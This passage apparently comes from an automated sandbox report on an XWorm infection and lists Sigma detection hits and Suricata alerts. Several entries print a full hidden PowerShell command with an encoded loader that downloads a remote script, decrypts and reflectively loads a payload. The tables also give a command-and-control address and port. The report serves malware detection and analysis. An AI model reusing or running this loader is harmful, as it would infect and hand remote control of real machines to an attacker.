VtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSgkcGd2d2wpLlNwbGl0KFtFbnZpcm9ubWVudF06Ok5ld0xp

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: Suspicious PowerShell Parameter Substring

Source: Process started

Author: Florian Roth (Nextron Systems), Daniel Bohannon (idea), Roberto Rodriguez (Fix): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSgkcGd2d2wpLlNwbGl0KFtFbnZpcm9ubWVudF06Ok5ld0xp

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Xclient.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Xclient.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Xclient.vbs", ProcessId: 7292, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSgkcGd2d2wpLlNwbGl0KFtFbnZpcm9ubWVudF06Ok5ld0xp

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: , CommandLine: , CommandLine|base64offset|contains: , Image: C:\Windows\System32\cdd.dll, NewProcessName: C:\Windows\System32\cdd.dll, OriginalFileName: C:\Windows\System32\cdd.dll, ParentCommandLine: , ParentImage: , ParentProcessId: -1, ProcessCommandLine: , ProcessId: 4, ProcessName: cdd.dll

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Xclient.vbs", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Xclient.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Xclient.vbs", ProcessId: 7292, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSgkcGd2d2wpLlNwbGl0KFtFbnZpcm9ubWVudF06Ok5ld0xp

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5368, ProcessName: svchost.exe

Data Obfuscation

Sigma detected: Drops script at startup location

Source: File created

Author: Joe Security: Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7456, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_6dd171fd.cmd

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-15T20:45:02.726844+0100	2803305	3	Unknown Traffic	192.168.2.4	50015	204.79.197.203	443	TCP

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-15T20:43:34.598628+0100	2852870	1	Malware Command and Control Activity Detected	185.241.208.215	7000	192.168.2.4	49736	TCP
2025-02-15T20:43:46.191438+0100	2852870	1	Malware Command and Control Activity Detected	185.241.208.215	7000	192.168.2.4	49736	TCP
2025-02-15T20:43:52.078578+0100	2852870	1	Malware Command and Control Activity Detected	185.241.208.215	7000	192.168.2.4	49736	TCP
2025-02-15T20:43:57.814150+0100	2852870	1	Malware Command and Control Activity Detected	185.241.208.215	7000	192.168.2.4	49736	TCP
2025-02-15T20:44:09.424409+0100	2852870	1	Malware Command and Control Activity Detected	185.241.208.215	7000	192.168.2.4	49736	TCP
2025-02-15T20:44:16.132806+0100	2852870	1	Malware Command and Control Activity Detected	185.241.208.215	7000	192.168.2.4	49736	TCP
2025-02-15T20:44:22.079816+0100	2852870	1	Malware Command and Control Activity Detected	185.241.208.215	7000	192.168.2.4	49736	TCP
2025-02-15T20:44:30.539595+0100	2852870	1	Malware Command and Control Activity Detected	185.241.208.215	7000	192.168.2.4	49741	TCP
2025-02-15T20:45:39.955536+0100	2852870	1	Malware Command and Control Activity Detected	185.241.208.215	7000	192.168.2.4	50051	TCP
2025-02-15T20:45:52.079853+0100	2852870	1	Malware Command and Control Activity Detected	185.241.208.215	7000	192.168.2.4	50051	TCP
2025-02-15T20:45:53.777058+0100	2852870	1	Malware Command and Control Activity Detected	185.241.208.215	7000	192.168.2.4	50051	TCP
2025-02-15T20:45:59.163248+0100	2852870	1	Malware Command and Control Activity Detected	185.241.208.215	7000	192.168.2.4	50051	TCP

ETPRO MALWARE Win32/XWorm CnC Checkin - Generic Prefix Bytes (Client)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-15T20:43:34.624385+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49736	185.241.208.215	7000	TCP
2025-02-15T20:43:46.192912+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49736	185.241.208.215	7000	TCP
2025-02-15T20:43:57.853712+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49736	185.241.208.215	7000	TCP
2025-02-15T20:44:06.772243+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:06.996526+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:07.124893+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:07.234396+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:07.344034+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:07.468544+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:07.578359+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:07.703005+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:07.812533+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:07.921690+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:08.041096+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:08.140675+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:08.250084+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:08.359472+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:08.484168+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:08.615357+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:08.718633+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:08.827953+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:08.947197+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:09.046727+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:09.170616+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:09.285823+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:09.456448+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:09.625333+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49736	185.241.208.215	7000	TCP
2025-02-15T20:44:09.718568+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:09.828072+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:09.937533+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:10.074336+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:10.187410+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:10.296806+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:10.417846+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:10.532933+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:10.640672+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:10.750825+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:10.866817+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:10.985467+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:11.126720+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:11.250700+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:11.436495+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:11.482756+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:11.635622+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:11.752453+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:11.917801+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:12.232133+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:12.399346+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:12.536215+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:12.664341+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:12.811358+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:12.955482+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:13.080173+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:13.204120+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
2025-02-15T20:44:13.312674+0100	2852923	1	Malware Command and Control Activity Detected	192.168.2.4	49741	185.241.208.215	7000	TCP
